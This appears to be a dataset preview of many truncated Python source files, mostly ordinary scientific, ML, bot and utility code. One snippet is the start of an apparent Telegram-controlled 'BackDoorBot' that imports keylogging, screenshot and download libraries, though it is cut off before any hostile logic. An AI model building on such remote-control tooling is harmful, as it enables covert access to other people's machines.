text
stringlengths
3.07k
22.1k
import os clk_set = ["clk", "clksb", "clks_boost", "clkb", "clkbo"] vss_set = ["gnd", "vss", "vss_sub", "vrefn", "vrefnd", "avss", "dvss", "vss_d"] vdd_set = ["vdd", "vdd_and", "vdd_c", "vdd_comp", "vdd_gm", "vddd", "vdda", "veld", "avdd", "vrefp", "vrefnp", "avdd_sar", "vdd_ac", "dvdd", "vdd_int", "vddac", "vdd_d"] ...
''' This has utilities related to SNVs and SNSs ''' import numpy as np import pandas as pd import inStrain import inStrain.profile.profile_utilities P2C = {'A':0, 'C':1, 'T':2, 'G':3} # base -> position C2P = {0:'A', 1:'C', 2:'T', 3:'G'} # position -> base def generate_snp_model(model_file, fdr=1e-6): ''' T...
import sugartensor as tf import numpy as np # init = tf.sg_initializer # sg_act = tf.sg_activation from sugartensor import sg_initializer as init from sugartensor import sg_activation as sg_act import matplotlib.pyplot as plt import os # def get_sg_act(act_name): # return getattr(sg_act, 'sg_' + act_name.lower()) ...
import os import struct from enum import IntEnum, auto from textwrap import wrap import bitstruct as bs from pywinusb.hid import HidDevice LED_CONFIG_COUNT = 12 LED_REPORT_ID = 0x59 LED_REPORT_LEN = 129 LED_SET_OP_CODE = bytes.fromhex("59a50a") class ColorMode(IntEnum): COLOR1 = 0 COLOR2 = auto() COLOR1...
# -*- coding: utf8 -*- import os import platform import subprocess import requests import wget import pyautogui import keyboard import telebot NUM_PC = 0 file = open("token.txt", "r+") confiG = file.read().split("\n") file.close() inform='https://raw.githubusercontent.com/DmodvGH/BackDoorBot/main/documentation.txt' T...
import enum import random class QuartetsGameState(enum.Enum): NOT_STARTED = enum.auto() CHOOSE_GROUP = enum.auto() CHOOSE_PLAYER = enum.auto() CHOOSE_CARD = enum.auto() PLAYER_AGAIN = enum.auto() PLAYER_NEXT = enum.auto() FINISHED = enum.auto() class QuartetsPlayer(object): def __ini...
#!/usr/bin/python3 # The MIT License (MIT) # Copyright (c) 2016 <NAME> (meshfields.de) # http://meshfields.de/mit-license/ # # Console Drawing Tool Methods import sys # essential import re # regex from helpers import * # Globals color = Color() vt100 = VT100() pixels = [] b_canvas = 0 d_canvas = 0 # Methods...
""" The MIT License (MIT) Copyright (c) 2015-2019 Rapptz Copyright (c) 2019 DantasB Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the righ...
# -*- coding: utf-8 -*- """ Copyright (c) 2014 Deepomatic SAS http://www.deepomatic.com/ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the right...
import os import numpy as np import math import keras.backend as K import matplotlib.pyplot as plt import pickle import time import itertools from scipy.ndimage.filters import gaussian_filter from keras.models import Sequential from keras.layers import Dense from keras.layers import LSTM, TimeDistributed, Dropout from...
#!/usr/bin/env python # -*- coding: utf-8 -*- ''' Created on 02/05/2015 @author: jorgesaw ''' from __future__ import absolute_import, print_function, unicode_literals from imperial.core.model.datamodel.dataModel import DataModel from imperial.model.models import ResumenFiscal from imperial.util import variables impor...
#Copyright (c) 2020 <NAME> - MIT License import logging import pandas as pd from utils.file_handling import write_debug_file from utils.file_handling import get_command_dict from utils.globals import get_log_folder from expworkup.handlers.chemical_types import get_chemical_types from expworkup.handlers.chemical_types ...
""" Reconstruct the content of files by analysing reads in the execution history of a debugged program or LiveRecorder recording. To use, load this file in UDB (see the `source` command). See `help reconstruct-file` for usage information. Contributors: <NAME> """ import argparse import re import sys import textwrap...
# -*- coding: utf-8 -*- """ Created on Mon Aug 31 17:24:38 2020 @author: <NAME> """ import datetime from selenium import webdriver from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from fake_useragent import UserAgent from selenium.webdriver.support.ui import WebDriverWait from ...
import numpy as np import cv2 def ex1(): print("EX_1") arr = np.zeros(shape=(1, 10)) print(arr) ex1() def ex2(): print("EX_2") arr = np.zeros(shape=(1, 10)) arr[ :, 4] = 5 print(arr) ex2() def ex3(): print("EX_3") arr = np.arange(10, 50) print(arr) ex3() def ex4(): pri...
from telegram.constants import CHAT_GROUP from telegram.ext import Updater, MessageHandler, ConversationHandler, CommandHandler, CallbackContext, Filters from telegram import Update, ReplyKeyboardMarkup, KeyboardButton, ReplyKeyboardRemove, MessageEntity from datetime import datetime import django import os import sys ...
from collections import defaultdict from enum import Enum from sklearn.base import ClassifierMixin, RegressorMixin, BaseEstimator from sklearn_pmml import pmml from sklearn_pmml.convert.utils import pmml_row, assert_equal from sklearn_pmml.convert.features import * from pyxb.utils.domutils import BindingDOMSupport as b...
import asyncio import dataclasses from typing import Any, Optional, TypeVar from sqlalchemy import not_, or_, select from sqlalchemy.ext.asyncio import AsyncSession from Backend.crud.base import CRUDBase from Backend.crud.misc.versions import versions from Backend.database.base import Base, is_test_mode from Backend....
# Authors: <NAME> <<EMAIL>> # <NAME> <<EMAIL>> # # License: BSD (3-clause) import os.path as op import numpy as np from functools import partial from .montage import make_dig_montage from ..transforms import _sph_to_cart from . import __file__ as _CHANNELS_INIT_FILE MONTAGE_PATH = op.join(op.dirname(_CHANNE...
""" Conversion of different format """ import SimpleITK as sitk import cv2 import functools import glob2 import tensorflow as tf import numpy as np import os from tqdm import tqdm import matplotlib.pyplot as plt from projects.drutils import fileio from projects.drutils import augmentation from projects.drutils import ...
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under t...
# sys import csv import glob import numpy as np import os from utils.mocap_dataset import MocapDataset # torch import torch from torchvision import datasets, transforms def split_data_dict(data_dict, valid_size=0.1, randomized=True): num_samples = len(data_dict) num_samples_valid = int(round(valid_size * nu...
# SPDX-FileCopyrightText: 2021 <NAME> # # SPDX-License-Identifier: Apache-2.0 from __future__ import annotations from log import Log from multimethod import multimethod import objects, inspect, templates, typing, util, typing from buildfile import BuildFile, MesonException from typing import List from util import is_...
import os import logging from contextlib import suppress, asynccontextmanager from dataclasses import dataclass, field from typing import Dict, List, Optional, Tuple, FrozenSet, AsyncIterator, Any from mobiletestorchestrator.device import Device from mobiletestorchestrator.device_networking import AsyncDeviceConnectiv...
# coding: utf-8 # In[1]: import tensorflow as tf config = tf.ConfigProto() config.gpu_options.allow_growth = True sess = tf.Session(config=config) import keras from keras.models import * from keras.layers import * from keras.optimizers import * from keras.applications.resnet50 import ResNet50 from keras.application...
""" train the conditional VAE network """ # import some packages from tensorflow.keras.layers import Lambda, Input, Dense, Concatenate from cbrain.layers import * from tensorflow.keras.models import Model from tensorflow.keras.losses import mse, binary_crossentropy from tensorflow.keras.utils import plot_model from ...
import logging from functools import cmp_to_key from itertools import combinations from django.conf import settings from django.db import transaction, IntegrityError from celery import shared_task from celery.utils.log import get_task_logger from contractor.interfaces import LocalViewInterface from operator_api.decorat...
from __future__ import division import sys import os import numpy as np from PIL import Image import siamfc.siamese as siam from siamfc.tracker import tracker_full_video from siamfc.parse_arguments import parse_arguments from siamfc.region_to_bbox import region_to_bbox import imp import pickle import tensorflow as tf...
from typing import ( Any, Callable, cast, Dict, IO, Iterable, List, Optional, Tuple, TypeVar, Union, ) import io import json import shutil import time import threading from io import BytesIO, TextIOWrapper import pandas as pd from scipy import sparse import torch from accern_...
import numpy as np import os pattern = ['Frequent_Pattern_init.txt', 'Frequent_Pattern_sd.txt'] path_list = ['../../data/Geolife Trajectories 1.3/Trajectories7000/', '../../data/Geolife Trajectories ' '1.3/sd/sd_final_MDL1100_ep0.1/', ...
#!/usr/bin/env python # -*- coding: utf-8 -*- import json import networkx as nx import AreaMesh import LatLonCalc def outputCSV(fo, outputList): text = "" for i in range(len(outputList)-1): text = text + str(outputList[i]) + "," text = text + str(outputList[len(outputList)-1]) + "\n" fo.write(...
############################################################### # SPDX-License-Identifier: BSD-2-Clause-Patent # SPDX-FileCopyrightText: 2021 the prplMesh contributors (see AUTHORS.md) # This code is subject to the terms of the BSD+Patent license. # See LICENSE file for more details. ###################################...
from __future__ import print_function import argparse import os import time import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim from torchvision import datasets, transforms from model import capsules from model.capsules_raven import CapsNet as CapsNetRAVEN from loss import Sp...
#-------------------------------- # Name: daymet_ancillary.py # Purpose: Process DAYMET ancillary data #-------------------------------- import argparse import datetime as dt import logging import os import sys import drigo import numpy as np def main(ancillary_ws, zero_elev_nodata_flag=False, overwrit...
import unittest from tspvisual.tsp import Path from tspvisual.tsplib import Lines, TSPLib, TSPLibTour class TestTSPLib(unittest.TestCase): def setUp(self): self.tsplib = TSPLib() def test_cells(self): formats = { 'FULL_MATRIX': [(0, 0), (0, 1), (0, 2), (0, 3), ...
import warnings from typing import Collection, Optional, Tuple from typing import Union import cftime import pandas as pd import xarray as xr from xcube.core.gridmapping import GridMapping from xcube.util.assertions import assert_given # The MIT License (MIT) # Copyright (c) 2021 by the xcube development team and co...
import os.path import pathlib from typing import Union import pygame from PIL import Image import tqdm import numpy as np import imageio import random import matplotlib.pyplot as plt import wandb from wandb.wandb_run import Run from htm_rl.agents.v1.agent import RndAgent, ExploreAgent from htm_rl.envs.biogwlab.env im...
# -*- coding: utf-8 -*- """ Created on Mon Apr 9 11:15:48 2018 @author: bfyang.cephei """ import numpy as np import pandas as pd #import pandas_datareader.data as web #import tushare as ts #import datetime #============================================================================== def poss_date(date): if le...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import numpy as np from concorde.tsp import TSPSolver import functions as fc import plots_functions as pf import file_reader_writer as frw import time import sys import os from shapely.geometry import LineString from shapely.geometry import Point from termcolor import col...
#!/usr/bin/env python from __future__ import print_function import argparse import csv import errno import json import logging import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt import multiprocessing as mp import numpy as np import os from PIL import Image import subprocess import sys sys.path.a...
#!/usr/bin/env python3 import datetime import io import os import shutil from optparse import OptionParser import numpy as np import xarray as xr # chunked netcdf input speedup 15x compared to regular netcdf !!! dataInfo = { "title": "PGF v2 Climate Data", "source": "Princeton University Hydroclimatology Gr...
import copy import tensorflow as tf import networks.vgg16 as vgg16 import networks.vgg11 as vgg11 import networks.mobilenet_for_cifar as mobilenet_for_cifar import networks.mobilenet_for_imagenet as mobilenet_for_imagenet import networks.resnet18 as resnet18 import networks.resnet32 as resnet32 import datasets.cifar1...
""" modulereload(Project_Functions) from Project_Functions import * # modulereload(Project_Functions) # from Project_Functions import * import Project_Functions import importlib importlib.reload(Project_Functions) modulereload(Project_Functions) from Project_Functions import * # import Project_Functions # impor...
# -*- coding: utf-8 -*- # _ __ # | |/ /___ ___ _ __ ___ _ _ ® # | ' </ -_) -_) '_ \/ -_) '_| # |_|\_\___\___| .__/\___|_| # |_| # # <NAME> # Copyright 2022 Keeper Security Inc. # Contact: <EMAIL> # import argparse import itertools import json import logging from typing import Tuple, List, Optional, Set...
# The commented code are the features which I'm currently working on. # They are unstable, do not use them. import json import os from selenium import webdriver from webdriver_manager.firefox import GeckoDriverManager from selenium.webdriver.firefox.options import Options from selenium.webdriver import ActionChains fr...
# -*- coding: utf-8 -*- ''' Objects representing PDF path (stroke and filling) extracted from pdf drawings and annotations. Data structure based on results of ``page.getDrawings()``:: { 'color': (x,x,x) or None, # stroke color 'fill' : (x,x,x) or None, # fill color 'width': float, ...
#!python3 # Copyright (C) 2020 <NAME> # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # This program is distributed ...
import logging import polyinterface import os import asyncore from copy import deepcopy, copy from threading import Thread from av_funcs import get_server_data, get_profile_info from nodes.node_factory import NodeFactory """ polyinterface has a LOGGER that is created by default and logs to: logs/debug.log You can use ...
""" Authors: <<NAME>, <NAME>> Copyright: (C) 2019-2020 <http://www.dei.unipd.it/ Department of Information Engineering> (DEI), <http://www.unipd.it/ University of Padua>, Italy License: <http://www.apache.org/licenses/LICENSE-2.0 Apache License, Version 2.0> """ import glob import os import argparse i...
""" Copyright (c) by <NAME>, 2008 """ import math import numpy as N #from sets import set #from rpy import r #from bioinfo.lib.configattributes import * class Graphviz(object): def __init__(self,go): self.go = go self.id2idx = go.id2idx self.ids = go.ids self.parents = g...
import pytorch_lightning as pl import sys sys.path.insert(0,"../") from causalode.utils import DATA_DIR import causalode.utils from causalode.utils import str2bool import torch from torch.utils.data import Dataset, DataLoader, Subset import os import argparse import numpy as np from scipy.integrate import odeint import...
# -*- coding: utf-8 -*- # # Copyright 2017 Google LLC. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requir...
# First Argument: Table mapping php api to binary address. Use the extension to get this # Second Argument: objdump of php binary # Third Argument: objdump of libc import sys import os import re import subprocess from subprocess import Popen, PIPE, STDOUT labels = dict() php_sources = dict() ctxs=dict() cached = ...
# mathematical imports import numpy as np from sklearn import metrics # graphical imports from matplotlib import pyplot as plt import seaborn as sns # system imports import pickle import sys # pytorch imports import torch import torch.utils.data as data # my file imports sys.path.insert(0, '/Users/chanaross/dev/Thesis/...
# -*- coding: utf-8 -*- """ Created on Wed Aug 22 18:28:31 2018 @author: isaac """ from numpy import * from scipy.stats import mode def calculateIntensity (spike): # First need to store the original state of RBN Nodes # print ("The original states: " + str(spike.RBN.states) + "\n") ...
import os import sys from datetime import datetime import pyperclip from ergaster.file_writer import FileWriterFs, file_read_utf8 from ergaster.text_ellipsis import ellipsis_line from ergaster.text_utils import str_qwerty_en_ru ########################################################################################...
from requests import Session from clarity_ext_scripts.covid.partner_api_client import * from mock import patch import pytest class TestPartnerAPIClient(object): class MockValidPostResponse(object): def __init__(self): self.status_code = 200 # TODO If we want more advanced tests...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ This program collects Spain weather observations from AEMET and uploads them to the Orion Context Broker. It uses predefined list of stations (./stations.yml), that can be obtained by other harvester: - https://github.com/FIWARE/dataModels/tree/master/sp...
def getOPERATOR_DDA(r, ko, refInd, kvec, Eo, nearby_quad): import numpy as np (L, M, N, _) = r.shape # Self-interaction Classius-Mossotti stuff dx=r[1, 0, 0, 0] - r[0, 0, 0, 0] b1 = -1.8915316 b2 = 0.1648469 b3 = -1.7700004 msqr = refInd ** 2 dcube = dx ** 3 d=dx a_hat = kve...
from dsa.errors import UserError, MappingError from io import BytesIO import zlib # Most of these errors should never be seen by a user attempting to supply # valid PNGs in good faith. class BAD_PNG_HEADER(UserError): """Not a valid PNG file (PNG signature not detected)""" class PNG_EOF(UserError): ...
import sys import numpy as np import heapq import itertools # priority queue implemented via heapq pq = [] entry_finder = {} REMOVED = '<removed-task>' counter = itertools.count() def add_task(task, priority=0): """Add a new task or update the priority of an existing task""" if task in entry_finder: ...
# Copyright 2021 VicEdTools authors # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writi...
# Copyright 2021 The Funnel Rocket Maintainers # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
from builtins import range import numpy as np def batchnorm_forward(x, gamma, beta, bn_param): """ Forward pass for batch normalization. During training the sample mean and (uncorrected) sample standard deviation are computed from minibatch statistics and used to normalize the incoming da...
import logging import math import torch import torch.nn as nn import torch.nn.functional as F from fairseq import metrics from fairseq.criterions.label_smoothed_cross_entropy import label_smoothed_nll_loss logger = logging.getLogger(__name__) def reduce_cache_metrics(logging_outputs): """Aggregate logging outpu...
from collections import defaultdict, deque import itertools import copy import re file_name = "Input.txt" size = 12 # 3 or 12 sqrt num_tiles tile_size = 10 ''' with open(file_name, "r") as fp: lines = fp.readlines() lines = [x.strip() for x in lines] line = lines[0].strip() toks = line.split(",") nums = [int(n)...
from imutils.video import VideoStream import numpy as np import cv2 import imutils import time from sklearn.metrics import pairwise from PIL import ImageGrab from imutils.video import FPS import copy font = cv2.FONT_HERSHEY_SIMPLEX # def all_lines(img, lines, store): # height, width = img.shape # try: # for line...
# -*- coding: utf-8 -*- import csv import datetime def header(first_date,last_date,today,org): reference=today.strftime("%Y-%m-%dT%H%M%S") txt="UIB+UNOB:4+"+reference+"'\n" txt+="UIH+SKDUPD:D:04A+1+"+reference+"'\n" txt+="MSD+AAR:61'\n" txt+="ORG+"+org+"+++"+org+"'\n" txt+="HDR+81+273...
"""Generate the menu items.""" import configparser import json import os from pathlib import Path import re from typing import Text import xml.etree.ElementTree as et from xml.dom import minidom import shutil import logging def add_menu(installdir: Path, name: Text) -> None: """Add a submenu to 'VNM' menu. Pa...
""" Optimization methods for parametric nonlinear equality constrained problems. """ import collections from scipy.optimize import minimize import jax from jax import lax from jax import jit from jax import grad from jax import jacrev import jax.numpy as np from jax import tree_util from jax.experimental import optim...
from tkinter import * from tkinter import messagebox from tkinter import ttk import sqlite3 #1- conectando o banco e a tabela de dados banco = sqlite3.connect('petshopp.db') cursor = banco.cursor() cursor.execute("CREATE TABLE IF NOT EXISTS agenda3 (id integer primary key autoincrement , nome text, stoke integer, valo...
#!/usr/bin/env python # # Copyright (C) 2015 The Regents of the University of California. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, # ...
import os, sys from django.db import models from django.conf import settings from django.contrib.auth import backends from django.core.exceptions import ImproperlyConfigured from django.contrib.auth.models import User, AnonymousUser from config import Config from datetime import datetime import logging import trace...
import os from datetime import datetime from random import randint from hashlib import md5 from flask_login import UserMixin from werkzeug.security import generate_password_hash, check_password_hash from project import db, login, celery from sqlalchemy.ext.declarative import declarative_base Base = declarative_base() ...
import os import pandas as pd import csv import re from datetime import datetime as dt, timedelta from collections import defaultdict csvdata = list() # Reads a raw interaction data file def readfile(file_name): os.chdir("./data/" + file_name) print("Reading " + file_name + " data") # cs2114_fall_2020_so...
import os import sys import numpy as np import pickle import tensorflow as tf from tensorflow.contrib.legacy_seq2seq import sequence_loss from utils import * sys.path.append('..') from config import get_configs, experiment_path, data_path class Vocab(object): def __init__(self): print("init vocab...") ...
#!/usr/bin/env python """ Brief description of the pid module. More advanced description of this module, e.g. This module contains a 1D PID controller and utilities for managing the gains and the controller parameters. Copyright (c) 2017-2019, New York University and Max Planck Gesellschaft, Lice...
# To add a new cell, type '# %%' # To add a new markdown cell, type '# %% [markdown]' # %% from IPython import get_ipython # %% import numpy as np import pandas as pd import os import keras from keras.layers import Conv2D, MaxPool2D, Flatten, Dense, Dropout, BatchNormalization from keras.preprocessing.image import Ima...
#!/usr/bin/env python # -*- coding: utf-8 -*- # import pytest from dnd_character_sheet.sheets.Abilities import Abilities # classe from unittest.mock import Mock __author__ = "<NAME>" __copyright__ = "<NAME>" __license__ = "mit" def test_modifier_abilities(): abilities = Abilities() assert abilities.getModi...
import sys import os import time import pandas as pd import numpy as np import coltools as ct import pyds9 import pyregion from PIL import Image from PIL import Image, ImageDraw, ImageFont from pyregion import Shape import glob import argparse # fitsdir = "/home/coljac/dev/science/slits/finding/fits" # regions_dir = ...
import torch import math import pytest from privpack.core.criterion import DiscreteMutualInformation, BinaryHammingDistance, NegativeBinaryMutualInformation, BinaryMutualInformation, MeanSquaredError, GaussianMutualInformation from privpack.core.criterion import PGANCriterion @pytest.fixture def mock_x_likelihoods()...
import errno import os,re import sys from datetime import datetime from pathlib import Path from dateutil import parser as date_parser from dateutil.relativedelta import * log = list() err_log = list() global last_key_value_max; def generate_replace_column_select_list(column_list,database_name,table_name,source_db, ...
""" Generation of 3D brain MRI using VAE Generative Adversial Networks ================================================================== Credit: <NAME> Based on: - https://github.com/cyclomon/3dbraingen This tutorial is for the intuition of simple Generative Adversarial Networks (GAN) for generating realistic MR...
import argparse import os import numpy as np import tensorflow.keras as k import matplotlib.pyplot as plt import io from sklearn.model_selection import train_test_split import time import data_loader, mixup from models import build_model import tensorflow as tf from utils import * tf.executing_eagerly() def plot_t...
############################################################################### # # The MIT License (MIT) # # Copyright (c) Tavendo GmbH # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software with...
''' The primary use of this program is to plot great circles and poles of structural geological orientation data onto a lower hemisphere projection. More sophisticated applications like whole sphere projections will eventually be implemented in future versions. The better part of the math behind this application co...
import re import os import json import math import nltk import uuid import pickle import numpy as np # import textdistance import pandas as pd from collections import Counter nltk.data.path.append('app/lib/models/wordnet') from nltk.tokenize import RegexpTokenizer, word_tokenize from nltk.stem import WordNetLemmatize...
import logging import iminuit import numpy as np import os import pandas as pd from matplotlib import pyplot as plt from datetime import datetime, timedelta from multiprocessing import Pool from pyseir.models import suppression_policies from pyseir import load_data, OUTPUT_DIR from pyseir.models.seir_model import SEIRM...
#! /usr/bin/env python # -*- coding: utf-8 -*- """ Module is provides funcions for dict lists and functions processing """ import logging logger = logging.getLogger(__name__) import collections import inspect import copy import numpy as np def get_default_args(obj): if ("__init__" in dir(obj)): if inspec...
import numpy as np import os import matplotlib.pyplot as plt from matplotlib import gridspec import seaborn as sns import colorsys from sis import coeff_determination_metric, find_sub_list, retokenize_annotation ASPECT_TO_COLOR = { 0: 'red', 1: 'blue', 2: 'green' } def rgb_...
from collections import defaultdict from django.contrib import messages from django.shortcuts import render from django.views.generic import View from django.http import HttpResponseRedirect, JsonResponse from .models import CategoryFeature, FeatureValidator, ProductFeatures from .forms import NewCategoryFeatureKeyFo...
#!/usr/bin/env python # coding: utf-8 from GPyOpt.methods import BayesianOptimization import matplotlib.pyplot as plt import numpy as np import progressbar # results in this format from the output of the multi-threaded c++ code. resultsFinal = np.asarray([ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
from django.core.exceptions import ObjectDoesNotExist from django.core.exceptions import PermissionDenied from django.contrib.auth.mixins import LoginRequiredMixin try: import json except ImportError: from django.utils import simplejson as json import django.utils.six from django.core import serializers from d...
#!/usr/bin/env python3 import config import smtplib import ssl import sys import time import urllib.error, urllib.parse, urllib.request from bs4 import BeautifulSoup from datetime import datetime last_page = '' class ClassyUrlOpener(urllib.request.FancyURLopener): version = 'Mozilla/5.0 (X11; Linux x86_64; rv:21.0)...
#!/usr/bin/env python3 #################################################### # filename: figure-mistimed.py # author: <NAME> <<EMAIL>> # # description: plots figure showing consequences # of mistiming an optimized intervention #################################################### import sys import matplotlib.pyplot as p...
#! /usr/bin/env python # -*- coding: utf-8 -*- # vim:fenc=utf-8 # # Copyright © 2017 PetarV <<EMAIL>> # # Distributed under terms of the MIT license. """ """ from keras.models import Model from keras.layers import Input, Dense, Flatten, Convolution2D, MaxPooling2D, Dropout, Activation, BatchNormalization import num...
# -*- coding: utf-8 -*- """ Created on Wed Aug 28 17:11:29 2019 @author: tsd """ import os import torch import torch.nn as nn import torch.optim as optim from .models.Transformer import PuncTransformer, PuncTransformer2 from .models.LSTM_attention_model import puncLAS, puncLAS2 from .models.py_Transformer import pyTra...
#!/usr/bin/env python # -*- coding: utf-8 -*- import unittest from unittest.mock import Mock, patch, call from src.theory.patterns.abstract_factory.abstract_factory import MotorCycleInterface from src.theory.patterns.abstract_factory.abstract_factory import CarInterface from src.theory.patterns.abstract_factory.abstrac...
"""Target matrices to factor: DFT, DCT, Hadamard, convolution, Legendre, Vandermonde. Complex complex must be converted to real matrices with 2 as the last dimension (for Pytorch's compatibility). """ import math import numpy as np from numpy.polynomial import legendre import scipy.linalg as LA from scipy.fftpack imp...
# Copyright 2017 <NAME>, <NAME>, <NAME>, <NAME> # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed...